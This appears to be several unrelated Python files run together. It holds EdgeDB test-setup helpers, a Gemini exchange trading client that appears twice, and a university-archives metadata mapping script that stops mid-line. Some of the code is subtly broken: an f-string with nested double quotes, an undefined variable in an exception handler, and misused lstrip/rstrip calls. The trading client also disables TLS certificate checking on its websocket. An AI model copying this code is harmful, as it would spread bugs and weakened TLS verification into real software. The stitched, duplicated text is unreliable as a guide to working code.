f'\nCOMMIT MIGRATION test_migration;' if cls.SETUP: if not isinstance(cls.SETUP, (list, tuple)): scripts = [cls.SETUP] else: scripts = cls.SETUP for scr in scripts: if '\n' not in scr and os.path.exists(scr): with open(scr, 'rt') as f: setup = f.read() else: setup = scr script += '\n' + setup # allow the setup script to also run in test mode if cls.INTERNAL_TESTMODE: script += '\nCONFIGURE SESSION SET __internal_testmode := false;' return script.strip(' \n') @classmethod def tearDownClass(cls): script = '' class_set_up = os.environ.get('EDGEDB_TEST_CASES_SET_UP') if cls.TEARDOWN and not class_set_up: script = cls.TEARDOWN.strip() try: if script: cls.loop.run_until_complete( cls.con.execute(script)) finally: try: cls.loop.run_until_complete(cls.con.aclose()) if not class_set_up: dbname = cls.get_database_name() script = f'DROP DATABASE {dbname};' cls.loop.run_until_complete( cls.admin_conn.execute(script)) finally: try: if cls.admin_conn is not None: cls.loop.run_until_complete( cls.admin_conn.aclose()) finally: super().tearDownClass() @contextlib.asynccontextmanager async def assertRaisesRegexTx(self, exception, regex, msg=None, **kwargs): """A version of assertRaisesRegex with automatic transaction recovery """ with super().assertRaisesRegex(exception, regex, msg=msg): try: tx = self.con.transaction() await tx.start() yield except BaseException as e: if isinstance(e, exception): for attr_name, expected_val in kwargs.items(): val = getattr(e, attr_name) if val != expected_val: raise self.failureException( f'{exception.__name__} context attribute ' f'{attr_name!r} is {val} (expected ' f'{expected_val!r})') from e raise finally: await tx.rollback() class nullable: def __init__(self, value): self.value = value class Error: def __init__(self, cls, message, shape): self._message = message self._class = cls self._shape = shape @property def message(self): return self._message @property def cls(self): return self._class @property def shape(self): return self._shape class BaseQueryTestCase(DatabaseTestCase): BASE_TEST_CLASS = True class DDLTestCase(BaseQueryTestCase): # DDL test cases generally need to be serialized # to avoid deadlocks in parallel execution. SERIALIZED = True class NonIsolatedDDLTestCase(DDLTestCase): ISOLATED_METHODS = False BASE_TEST_CLASS = True class QueryTestCase(BaseQueryTestCase): BASE_TEST_CLASS = True def get_test_cases_setup(cases): result = [] for case in cases: if not hasattr(case, 'get_setup_script'): continue setup_script = case.get_setup_script() if not setup_script: continue dbname = case.get_database_name() result.append((case, dbname, setup_script)) return result def setup_test_cases(cases, conn, num_jobs): setup = get_test_cases_setup(cases) async def _run(): if num_jobs == 1: # Special case for --jobs=1 for _case, dbname, setup_script in setup: await _setup_database(dbname, setup_script, conn) else: async with taskgroup.TaskGroup(name='setup test cases') as g: # Use a semaphore to limit the concurrency of bootstrap # tasks to the number of jobs (bootstrap is heavy, having # more tasks than `--jobs` won't necessarily make # things faster.) sem = asyncio.BoundedSemaphore(num_jobs) async def controller(coro, *args): async with sem: await coro(*args) for _case, dbname, setup_script in setup: g.create_task(controller( _setup_database, dbname, setup_script, conn)) return asyncio.run(_run()) async def _setup_database(dbname, setup_script, conn_args): default_args = { 'user': edgedb_defines.EDGEDB_SUPERUSER, 'password': 'test', } default_args.update(conn_args) admin_conn = await edgedb.async_connect( database=edgedb_defines.EDGEDB_SUPERUSER_DB, **default_args) try: await admin_conn.execute(f'CREATE DATABASE {dbname};') finally: await admin_conn.aclose() dbconn = await edgedb.async_connect(database=dbname, **default_args) try: async with dbconn.transaction(): await dbconn.execute(setup_script) finally: await dbconn.aclose() return dbname _lock_cnt = 0 def gen_lock_key(): global _lock_cnt _lock_cnt += 1 return os.getpid() * 1000 + _lock_cnt
import asyncio import base64 import hashlib import hmac import json import os import queue import ssl import time import traceback from datetime import date, datetime, timedelta from threading import Thread from typing import Dict, List, Optional, Tuple import pandas as pd import requests import websocket from pytz import timezone from liualgotrader.common import config from liualgotrader.common.assets import get_asset_min_qty, round_asset from liualgotrader.common.tlog import tlog from liualgotrader.common.types import Order, QueueMapper, ThreadFlags, Trade from liualgotrader.trading.base import Trader utctz = timezone("UTC") class GeminiTrader(Trader): gemini_api_key: Optional[str] = os.getenv("GEMINI_API_KEY") gemini_api_secret: Optional[str] = os.getenv("GEMINI_API_SECRET") base_url = "https://api.sandbox.gemini.com" base_websocket = "wss://api.sandbox.gemini.com" last_nonce = None def __init__(self, qm: QueueMapper = None): self.running_task: Optional[Thread] = None self.hb_task: Optional[Thread] = None self.send_hb = True self.ws = None self.flags: Optional[ThreadFlags] = None super().__init__(qm) @classmethod def _generate_request_headers(cls, payload: Dict) -> Dict: if not cls.gemini_api_secret or not cls.gemini_api_key: raise AssertionError( "both env variables GEMINI_API_KEY and GEMINI_API_SECRET must be set up" ) t = datetime.now() payload_nonce = int(time.mktime(t.timetuple()) * 1000) if cls.last_nonce and cls.last_nonce == payload_nonce: payload_nonce += 1 cls.last_nonce = payload_nonce payload["nonce"] = str(payload_nonce) encoded_payload = json.dumps(payload).encode() b64 = base64.b64encode(encoded_payload) signature = hmac.new( cls.gemini_api_secret.encode(), b64, hashlib.sha384 ).hexdigest() return { "Content-Type": "text/plain", "Content-Length": "0", "X-GEMINI-APIKEY": cls.gemini_api_key, "X-GEMINI-PAYLOAD": b64, "X-GEMINI-SIGNATURE": signature, "Cache-Control": "no-cache", } def _generate_ws_headers(self, payload: Dict) -> Dict: if not self.gemini_api_secret or not self.gemini_api_key: raise AssertionError( "both env variables GEMINI_API_KEY and GEMINI_API_SECRET must be set up" ) t = datetime.now() payload_nonce = str(int(time.mktime(t.timetuple()) * 1000)) payload["nonce"] = payload_nonce encoded_payload = json.dumps(payload).encode() b64 = base64.b64encode(encoded_payload) signature = hmac.new( self.gemini_api_secret.encode(), b64, hashlib.sha384 ).hexdigest() return { "X-GEMINI-APIKEY": self.gemini_api_key, "X-GEMINI-PAYLOAD": b64.decode(), "X-GEMINI-SIGNATURE": signature, } @classmethod def _get_order_event_type(cls, order_data: Dict) -> Order.EventType: return ( Order.EventType.canceled if order_data["is_cancelled"] == True else Order.EventType.fill if order_data["remaining_amount"] == "0" else Order.EventType.partial_fill ) @classmethod def _get_trade_event_type(cls, trade_data: Dict) -> Order.EventType: return ( Order.EventType.canceled if trade_data["type"] == "cancelled" else Order.EventType.rejected if trade_data["type"] == "rejected" else Order.EventType.canceled if trade_data["type"] == "cancel_rejected" else Order.EventType.fill if trade_data["remaining_amount"] == "0" else Order.EventType.partial_fill ) @classmethod def _get_order_side(cls, order_data: Dict) -> Order.FillSide: return ( Order.FillSide.buy if order_data["side"] == "buy" else Order.FillSide.sell ) @classmethod def _order_from_dict(cls, order_data: Dict) -> Order: trades = order_data.get("trades", []) trade_fees: float = 0.0 + sum(float(t["fee_amount"]) for t in trades) return Order( order_id=order_data["order_id"], symbol=order_data["symbol"].lower(), filled_qty=float(order_data["executed_amount"]), event=cls._get_order_event_type(order_data), price=float(order_data["price"]), side=cls._get_order_side(order_data), submitted_at=pd.Timestamp( ts_input=order_data["timestampms"], unit="ms", tz="UTC" ), avg_execution_price=float(order_data["avg_execution_price"]), remaining_amount=float(order_data["remaining_amount"]), trade_fees=trade_fees, ) @classmethod def _trade_from_dict(cls, trade_dict: Dict) -> Trade: tlog(f"GEMINI GOING TO SEND {trade_dict}") return Trade( order_id=trade_dict["order_id"], symbol=trade_dict["symbol"].lower(), event=cls._get_trade_event_type(trade_dict), filled_qty=float(trade_dict["fill"]["amount"]) if "fill" in trade_dict else 0.0, trade_fee=float( trade_dict["fill"]["fee"] if "fill" in trade_dict else 0.0 ) if "fill" in trade_dict else 0.0, filled_avg_price=float(trade_dict["avg_execution_price"] or 0.0), liquidity=trade_dict["fill"]["liquidity"] if "fill" in trade_dict else "", updated_at=pd.Timestamp( ts_input=trade_dict["timestampms"], unit="ms", tz="UTC" ), side=Order.FillSide[trade_dict["side"]], ) async def is_fractionable(self, symbol: str) -> bool: return True def check_error(self, result: Dict): if result.get("result") == "error": raise AssertionError( f"[EXCEPTION] {result["reason"]}:{result["message"]}" ) async def is_order_completed( self, order_id: str, external_order_id: Optional[str] = None ) -> Tuple[Order.EventType, float, float, float]: order = await self.get_order(order_id) return ( order.event, order.avg_execution_price, order.filled_qty, order.trade_fees, ) def get_market_schedule( self, ) -> Tuple[Optional[datetime], Optional[datetime]]: return ( datetime.today().replace( hour=0, minute=0, second=0, microsecond=0, tzinfo=utctz ), datetime.today().replace( hour=23, minute=59, second=59, microsecond=0, tzinfo=utctz ), ) def get_trading_days( self, start_date: date, end_date: date = date.today() ) -> pd.DataFrame: return pd.DataFrame( index=pd.date_range(start=start_date, end=end_date) ) def get_position(self, symbol: str) -> float: symbol = symbol.lower() endpoint = "/v1/balances" url = self.base_url + endpoint payload = { "request": endpoint, } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: for b in response.json(): if b["currency"] == symbol: return float(b["amount"]) return 0.0 raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def get_order( self, order_id: str, client_order_id: Optional[str] = None ) -> Order: endpoint = "/v1/order/status" url = self.base_url + endpoint payload = { "request": endpoint, "order_id": order_id, "include_trades": True, } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: order_data = response.json() self.check_error(order_data) return self._order_from_dict(order_data) raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) def is_market_open_today(self) -> bool: return True def get_time_market_close(self) -> Optional[timedelta]: return datetime.today().replace( hour=23, minute=59, second=59, microsecond=0, tzinfo=utctz ) - datetime.now().replace(tzinfo=utctz) async def reconnect(self): await self.close() await self.run() @classmethod def heartbeat(cls, flags: ThreadFlags): tlog("GEMINI HEARTBEAT thread starting") while flags.run: tlog("GEMINI HEARTBEAT") endpoint = "/v1/heartbeat" url = cls.base_url + endpoint payload = { "request": endpoint, } headers = cls._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code != 200: raise AssertionError( f"HEARTHBEAT HTTP ERROR {response.status_code} {response.text}" ) time.sleep(20) tlog("GEMINI HEARTBEAT thread terminated") @classmethod def on_message(cls, ws, msgs): msgs = json.loads(msgs) if type(msgs) != list: return for msg in msgs: if msg["type"] in [ "fill", "cancel_rejected", "cancelled", "rejected", ]: trade = cls._trade_from_dict(msg) tlog(f"GEMINI TRADING UPDATE:{trade}") to_send = { "EV": "trade_update", "symbol": trade.symbol.lower(), "trade": trade.__dict__, } try: qs = cls.get_instance().queues if qs: for q in qs.get_allqueues(): q.put(to_send, timeout=1) except queue.Full as f: tlog( f"[EXCEPTION] process_message(): queue for {symbol} is FULL:{f}, sleeping for 2 seconds and re-trying." ) raise @classmethod def on_error(cls, ws, error): tlog(f"[ERROR] GeminiTrader {error}") @classmethod def on_close(cls, ws, close_status_code, close_msg): tlog(f"on_close(): status={close_status_code}, close_msg={close_msg}") async def run(self): if not self.running_task: tlog("starting Gemini listener") endpoint = "/v1/order/events" payload = {"request": endpoint} headers = self._generate_ws_headers(payload) self.ws = websocket.WebSocketApp( f"{self.base_websocket}{endpoint}?eventTypeFilter=cancel_rejected&eventTypeFilter=cancelled&eventTypeFilter=rejected&eventTypeFilter=fill&eventTypeFilter=closed&heartbeat=true", on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, header=headers, ) self.running_task = Thread( target=self.ws.run_forever, args=(None, {"cert_reqs": ssl.CERT_NONE}), ) self.flags = ThreadFlags(run=True) self.hb_task = Thread(target=self.heartbeat, args=(self.flags,)) self.running_task.start() self.hb_task.start() return self.running_task async def close(self): if self.running_task and self.running_task.is_alive(): tlog(f"close task {self.running_task}") self.ws.keep_running = False self.flags.run = False self.running_task.join() self.hb_task.join() tlog("task terminated") self.ws = None self.running_task = None self.hb_task = None self.flags = None async def get_tradeable_symbols(self) -> List[str]: endpoint = "/v1/symbols" url = self.base_url + endpoint response = requests.get(url) if response.status_code == 200: return response.json() raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def get_shortable_symbols(self) -> List[str]: return [] async def is_shortable(self, symbol) -> bool: return False async def cancel_order(self, order: Order) -> bool: endpoint = "/v1/order/cancel" url = self.base_url + endpoint payload = {"request": endpoint, "order_id": order.order_id} headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: order_status = response.json() self.check_error(order_status) return order_status raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def submit_order( self, symbol: str, qty: float, side: str, order_type: str, time_in_force: str = None, limit_price: str = None, stop_price: str = None, client_order_id: str = None, extended_hours: bool = None, order_class: str = None, take_profit: dict = None, stop_loss: dict = None, trail_price: str = None, trail_percent: str = None, on_behalf_of: str = None, ) -> Order: symbol = symbol.lower() if order_type == "market": raise AssertionError( "GEMINI does not support market orders, use limit orders" ) if float(qty) < get_asset_min_qty(symbol): raise AssertionError( f"GEMINI requested quantity of {qty} is below minimum for {symbol}" ) endpoint = "/v1/order/new" url = self.base_url + endpoint qty = round_asset(symbol, float(qty)) payload = { "request": endpoint, "symbol": symbol, "amount": str(qty), "price": str(limit_price) if order_type == "limit" else str(60000.0 * qty), "side": side, "type": "exchange limit", "client_order_id": client_order_id, "options": ["immediate-or-cancel"] if order_type == "market" else [], } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: new_order = response.json() self.check_error(new_order) return self._order_from_dict(new_order) if self.flags: self.flags.run = False await self.close() raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" )
import asyncio import base64 import hashlib import hmac import json import os import queue import ssl import time import traceback from datetime import date, datetime, timedelta from threading import Thread from typing import Dict, List, Optional, Tuple import pandas as pd import requests import websocket from pytz import timezone from liualgotrader.common import config from liualgotrader.common.assets import get_asset_min_qty, round_asset from liualgotrader.common.tlog import tlog from liualgotrader.common.types import Order, QueueMapper, ThreadFlags, Trade from liualgotrader.trading.base import Trader utctz = timezone("UTC") class GeminiTrader(Trader): gemini_api_key: Optional[str] = os.getenv("GEMINI_API_KEY") gemini_api_secret: Optional[str] = os.getenv("GEMINI_API_SECRET") base_url = "https://api.sandbox.gemini.com" base_websocket = "wss://api.sandbox.gemini.com" last_nonce = None def __init__(self, qm: QueueMapper = None): self.running_task: Optional[Thread] = None self.hb_task: Optional[Thread] = None self.send_hb = True self.ws = None self.flags: Optional[ThreadFlags] = None super().__init__(qm) @classmethod def _generate_request_headers(cls, payload: Dict) -> Dict: if not cls.gemini_api_secret or not cls.gemini_api_key: raise AssertionError( "both env variables GEMINI_API_KEY and GEMINI_API_SECRET must be set up" ) t = datetime.now() payload_nonce = int(time.mktime(t.timetuple()) * 1000) if cls.last_nonce and cls.last_nonce == payload_nonce: payload_nonce += 1 cls.last_nonce = payload_nonce payload["nonce"] = str(payload_nonce) encoded_payload = json.dumps(payload).encode() b64 = base64.b64encode(encoded_payload) signature = hmac.new( cls.gemini_api_secret.encode(), b64, hashlib.sha384 ).hexdigest() return { "Content-Type": "text/plain", "Content-Length": "0", "X-GEMINI-APIKEY": cls.gemini_api_key, "X-GEMINI-PAYLOAD": b64, "X-GEMINI-SIGNATURE": signature, "Cache-Control": "no-cache", } def _generate_ws_headers(self, payload: Dict) -> Dict: if not self.gemini_api_secret or not self.gemini_api_key: raise AssertionError( "both env variables GEMINI_API_KEY and GEMINI_API_SECRET must be set up" ) t = datetime.now() payload_nonce = str(int(time.mktime(t.timetuple()) * 1000)) payload["nonce"] = payload_nonce encoded_payload = json.dumps(payload).encode() b64 = base64.b64encode(encoded_payload) signature = hmac.new( self.gemini_api_secret.encode(), b64, hashlib.sha384 ).hexdigest() return { "X-GEMINI-APIKEY": self.gemini_api_key, "X-GEMINI-PAYLOAD": b64.decode(), "X-GEMINI-SIGNATURE": signature, } @classmethod def _get_order_event_type(cls, order_data: Dict) -> Order.EventType: return ( Order.EventType.canceled if order_data["is_cancelled"] == True else Order.EventType.fill if order_data["remaining_amount"] == "0" else Order.EventType.partial_fill ) @classmethod def _get_trade_event_type(cls, trade_data: Dict) -> Order.EventType: return ( Order.EventType.canceled if trade_data["type"] == "cancelled" else Order.EventType.rejected if trade_data["type"] == "rejected" else Order.EventType.canceled if trade_data["type"] == "cancel_rejected" else Order.EventType.fill if trade_data["remaining_amount"] == "0" else Order.EventType.partial_fill ) @classmethod def _get_order_side(cls, order_data: Dict) -> Order.FillSide: return ( Order.FillSide.buy if order_data["side"] == "buy" else Order.FillSide.sell ) @classmethod def _order_from_dict(cls, order_data: Dict) -> Order: trades = order_data.get("trades", []) trade_fees: float = 0.0 + sum(float(t["fee_amount"]) for t in trades) return Order( order_id=order_data["order_id"], symbol=order_data["symbol"].lower(), filled_qty=float(order_data["executed_amount"]), event=cls._get_order_event_type(order_data), price=float(order_data["price"]), side=cls._get_order_side(order_data), submitted_at=pd.Timestamp( ts_input=order_data["timestampms"], unit="ms", tz="UTC" ), avg_execution_price=float(order_data["avg_execution_price"]), remaining_amount=float(order_data["remaining_amount"]), trade_fees=trade_fees, ) @classmethod def _trade_from_dict(cls, trade_dict: Dict) -> Trade: tlog(f"GEMINI GOING TO SEND {trade_dict}") return Trade( order_id=trade_dict["order_id"], symbol=trade_dict["symbol"].lower(), event=cls._get_trade_event_type(trade_dict), filled_qty=float(trade_dict["fill"]["amount"]) if "fill" in trade_dict else 0.0, trade_fee=float( trade_dict["fill"]["fee"] if "fill" in trade_dict else 0.0 ) if "fill" in trade_dict else 0.0, filled_avg_price=float(trade_dict["avg_execution_price"] or 0.0), liquidity=trade_dict["fill"]["liquidity"] if "fill" in trade_dict else "", updated_at=pd.Timestamp( ts_input=trade_dict["timestampms"], unit="ms", tz="UTC" ), side=Order.FillSide[trade_dict["side"]], ) async def is_fractionable(self, symbol: str) -> bool: return True def check_error(self, result: Dict): if result.get("result") == "error": raise AssertionError( f"[EXCEPTION] {result['reason']}:{result['message']}" ) async def is_order_completed( self, order_id: str, external_order_id: Optional[str] = None ) -> Tuple[Order.EventType, float, float, float]: order = await self.get_order(order_id) return ( order.event, order.avg_execution_price, order.filled_qty, order.trade_fees, ) def get_market_schedule( self, ) -> Tuple[Optional[datetime], Optional[datetime]]: return ( datetime.today().replace( hour=0, minute=0, second=0, microsecond=0, tzinfo=utctz ), datetime.today().replace( hour=23, minute=59, second=59, microsecond=0, tzinfo=utctz ), ) def get_trading_days( self, start_date: date, end_date: date = date.today() ) -> pd.DataFrame: return pd.DataFrame( index=pd.date_range(start=start_date, end=end_date) ) def get_position(self, symbol: str) -> float: symbol = symbol.lower() endpoint = "/v1/balances" url = self.base_url + endpoint payload = { "request": endpoint, } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: for b in response.json(): if b["currency"] == symbol: return float(b["amount"]) return 0.0 raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def get_order( self, order_id: str, client_order_id: Optional[str] = None ) -> Order: endpoint = "/v1/order/status" url = self.base_url + endpoint payload = { "request": endpoint, "order_id": order_id, "include_trades": True, } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: order_data = response.json() self.check_error(order_data) return self._order_from_dict(order_data) raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) def is_market_open_today(self) -> bool: return True def get_time_market_close(self) -> Optional[timedelta]: return datetime.today().replace( hour=23, minute=59, second=59, microsecond=0, tzinfo=utctz ) - datetime.now().replace(tzinfo=utctz) async def reconnect(self): await self.close() await self.run() @classmethod def heartbeat(cls, flags: ThreadFlags): tlog("GEMINI HEARTBEAT thread starting") while flags.run: tlog("GEMINI HEARTBEAT") endpoint = "/v1/heartbeat" url = cls.base_url + endpoint payload = { "request": endpoint, } headers = cls._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code != 200: raise AssertionError( f"HEARTHBEAT HTTP ERROR {response.status_code} {response.text}" ) time.sleep(20) tlog("GEMINI HEARTBEAT thread terminated") @classmethod def on_message(cls, ws, msgs): msgs = json.loads(msgs) if type(msgs) != list: return for msg in msgs: if msg["type"] in [ "fill", "cancel_rejected", "cancelled", "rejected", ]: trade = cls._trade_from_dict(msg) tlog(f"GEMINI TRADING UPDATE:{trade}") to_send = { "EV": "trade_update", "symbol": trade.symbol.lower(), "trade": trade.__dict__, } try: qs = cls.get_instance().queues if qs: for q in qs.get_allqueues(): q.put(to_send, timeout=1) except queue.Full as f: tlog( f"[EXCEPTION] process_message(): queue for {symbol} is FULL:{f}, sleeping for 2 seconds and re-trying." ) raise @classmethod def on_error(cls, ws, error): tlog(f"[ERROR] GeminiTrader {error}") @classmethod def on_close(cls, ws, close_status_code, close_msg): tlog(f"on_close(): status={close_status_code}, close_msg={close_msg}") async def run(self): if not self.running_task: tlog("starting Gemini listener") endpoint = "/v1/order/events" payload = {"request": endpoint} headers = self._generate_ws_headers(payload) self.ws = websocket.WebSocketApp( f"{self.base_websocket}{endpoint}?eventTypeFilter=cancel_rejected&eventTypeFilter=cancelled&eventTypeFilter=rejected&eventTypeFilter=fill&eventTypeFilter=closed&heartbeat=true", on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, header=headers, ) self.running_task = Thread( target=self.ws.run_forever, args=(None, {"cert_reqs": ssl.CERT_NONE}), ) self.flags = ThreadFlags(run=True) self.hb_task = Thread(target=self.heartbeat, args=(self.flags,)) self.running_task.start() self.hb_task.start() return self.running_task async def close(self): if self.running_task and self.running_task.is_alive(): tlog(f"close task {self.running_task}") self.ws.keep_running = False self.flags.run = False self.running_task.join() self.hb_task.join() tlog("task terminated") self.ws = None self.running_task = None self.hb_task = None self.flags = None async def get_tradeable_symbols(self) -> List[str]: endpoint = "/v1/symbols" url = self.base_url + endpoint response = requests.get(url) if response.status_code == 200: return response.json() raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def get_shortable_symbols(self) -> List[str]: return [] async def is_shortable(self, symbol) -> bool: return False async def cancel_order(self, order: Order) -> bool: endpoint = "/v1/order/cancel" url = self.base_url + endpoint payload = {"request": endpoint, "order_id": order.order_id} headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: order_status = response.json() self.check_error(order_status) return order_status raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" ) async def submit_order( self, symbol: str, qty: float, side: str, order_type: str, time_in_force: str = None, limit_price: str = None, stop_price: str = None, client_order_id: str = None, extended_hours: bool = None, order_class: str = None, take_profit: dict = None, stop_loss: dict = None, trail_price: str = None, trail_percent: str = None, on_behalf_of: str = None, ) -> Order: symbol = symbol.lower() if order_type == "market": raise AssertionError( "GEMINI does not support market orders, use limit orders" ) if float(qty) < get_asset_min_qty(symbol): raise AssertionError( f"GEMINI requested quantity of {qty} is below minimum for {symbol}" ) endpoint = "/v1/order/new" url = self.base_url + endpoint qty = round_asset(symbol, float(qty)) payload = { "request": endpoint, "symbol": symbol, "amount": str(qty), "price": str(limit_price) if order_type == "limit" else str(60000.0 * qty), "side": side, "type": "exchange limit", "client_order_id": client_order_id, "options": ["immediate-or-cancel"] if order_type == "market" else [], } headers = self._generate_request_headers(payload) response = requests.post(url, data=None, headers=headers) if response.status_code == 200: new_order = response.json() self.check_error(new_order) return self._order_from_dict(new_order) if self.flags: self.flags.run = False await self.close() raise AssertionError( f"HTTP ERROR {response.status_code} {response.text}" )
import sys import os import argparse import json from collections import Counter SETS = { 'hdl_10575_12033': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Anthill' }, 'hdl_10575_11968': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Yearbooks' }, 'hdl_10575_8408': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Promotional Publications' }, 'hdl_10575_5263': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/New University' }, 'hdl_10575_12031': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Spectre' }, 'hdl_10575_12030': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Spectrum' }, 'hdl_10575_12885': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Daily Pilot' }, 'hdl_10575_12884': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Newporter' }, 'hdl_10575_12032': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Tongue' }, 'hdl_10575_12019': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-063/UCI Athletics News Releases' }, 'hdl_10575_12018': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Course Catalogs' }, 'hdl_10575_5260': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-056/Publish/Photographs' }, 'hdl_10575_11427': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-164' }, 'hdl_10575_5262': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-061/Slides' }, 'hdl_10575_5261': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-061/StaffPhotographerImages' }, 'hdl_10575_11417': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-144/AS-144_Schuyler_anteater-u.mp3' }, 'hdl_10575_5256': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-033/ForCalisphere' }, 'hdl_10575_5255': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-145' }, 'hdl_10575_11986': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-152' }, 'hdl_10575_12034': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-179/PUBLISH' }, 'hdl_10575_5881': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-136/AS136-014-U.mp4' }, 'hdl_10575_12886': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-027/Publish/California College of Medicine Films' }, 'hdl_10575_5257': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-158' }, 'hdl_10575_5259': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-020/Publish' }, 'hdl_10575_13154': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-182/PUBLISH' }, 'hdl_10575_13304': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-190' }, 'hdl_10575_14165': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Filming of Planet of the Apes video' }, 'hdl_10575_13226': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-081' }, 'hdl_10575_5258': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/AS-136' }, 'hdl_10575_1076': { 'nuxeo_folder': '/asset-library/UCI/SCA_UniversityArchives/Publications/Jaded' }, 'hdl_10575_10876': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-F034/Lacedonia' }, 'hdl_10575_10878': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-F034/Orange_County_Housecleaners' }, 'hdl_10575_9882': { 'nuxeo_folder': '/asset-library/UCI/SCA_SpecialCollections/MS-R035/McMillan' }, } def main(): parser = argparse.ArgumentParser( description='Map metadata to ucldc schema and write to jsonl file') parser.add_argument('setid', help="OAI-PMH set id") argv = parser.parse_args() setid = argv.setid metadata_file = f"json_files/{setid}-unmapped-md.jsonl" # read in jsonl file with open(metadata_file) as mf: data = json.load(mf) # payload file payload_file = f"json_files/{setid}-payload.jsonl" if os.path.exists(payload_file): os.remove(payload_file) items = [] all_filenames = [] all_titles = [] for record in data: # get handle ID handle_id = [identifier for identifier in record.get('identifier') if 'hdl.handle.net' in identifier][0] # get something to match on filenames = [os.path.basename(cr['ref']) for cr in record.get('component_resources')] if len(filenames) == 0 or filenames is None: print(f"No filenames for {record["identifier"]=}") if setid == 'hdl_10575_12033': if not filenames[0].startswith('LD781I7S65_'): filenames = [f"LD781I7S65_{filenames[0]}"] elif setid == 'hdl_10575_11968': filename = filenames[0] filename.lstrip('LD781I7S65_') filename = f"{filename[0:18]}.pdf" filenames = [filename] elif setid == 'hdl_10575_8408': if filenames == ['UCITheFirstDecade.pdf']: filenames = ['The First Decade%3A 1965-1975.1491586207490'] elif setid == 'hdl_10575_5263': if 'http://hdl.handle.net/10575/6084' in handle_id: filenames = ['LH1C215S64_19710219.pdf'] elif 'http://hdl.handle.net/10575/6360' in handle_id: filenames = ['LH1C215S64_19760406.pdf'] elif 'http://hdl.handle.net/10575/11995' in handle_id: filenames = ['uci_newspapers_satire_vol-16_screw_university.pdf'] elif 'http://hdl.handle.net/10575/11998' in handle_id: filenames = ['uci_newspapers_satire_vol-17_phew_university.pdf'] elif 'http://hdl.handle.net/10575/11996' in handle_id: filenames = ['uci_newspapers_satire_vol-22_the_only_alternative.pdf'] elif 'http://hdl.handle.net/10575/11997' in handle_id: filenames = ['uci_newspapers_satire_vol-23_the_pee_u.pdf'] if filenames[0].endswith('_pdfa.pdf'): filenames[0] = filenames[0].rstrip('_pdfa.pdf') filenames[0] = f"LH1C215S64_{filenames[0]}.pdf" all_filenames.extend(filenames) # get title title = record.get('title') if title: title = title[0] all_titles.append(title) else: print(f"no title for {handle_id}") items.append( { 'handle_id': handle_id, 'filenames': filenames, 'nuxeo_folder': SETS[setid]['nuxeo_folder'], 'title': title } ) # check for non-unique values all_filenames_set = set(all_filenames) if len(all_filenames) != len(all_filenames_set): print(f"Collection contains non-unique filenames") filename_counter = Counter(all_filenames) duplicate_filenames = [key for key in Counter(all_filenames).keys() if Counter(all_filenames)[key]>1] print(f"{duplicate_filenames}") for item in items: for filename in item['filenames']: if filename in duplicate_filenames: item['filenames'].remove(filename) item['filenames'].append(f"{filename} -- DUPLICATE") all_titles_set = set(all_titles) if len(all_titles) != len(all_titles_set): print(f"Collection contains non-unique titles") titles_counter = Counter(all_titles) duplicate_titles = [key for key in Counter(all_titles).keys() if 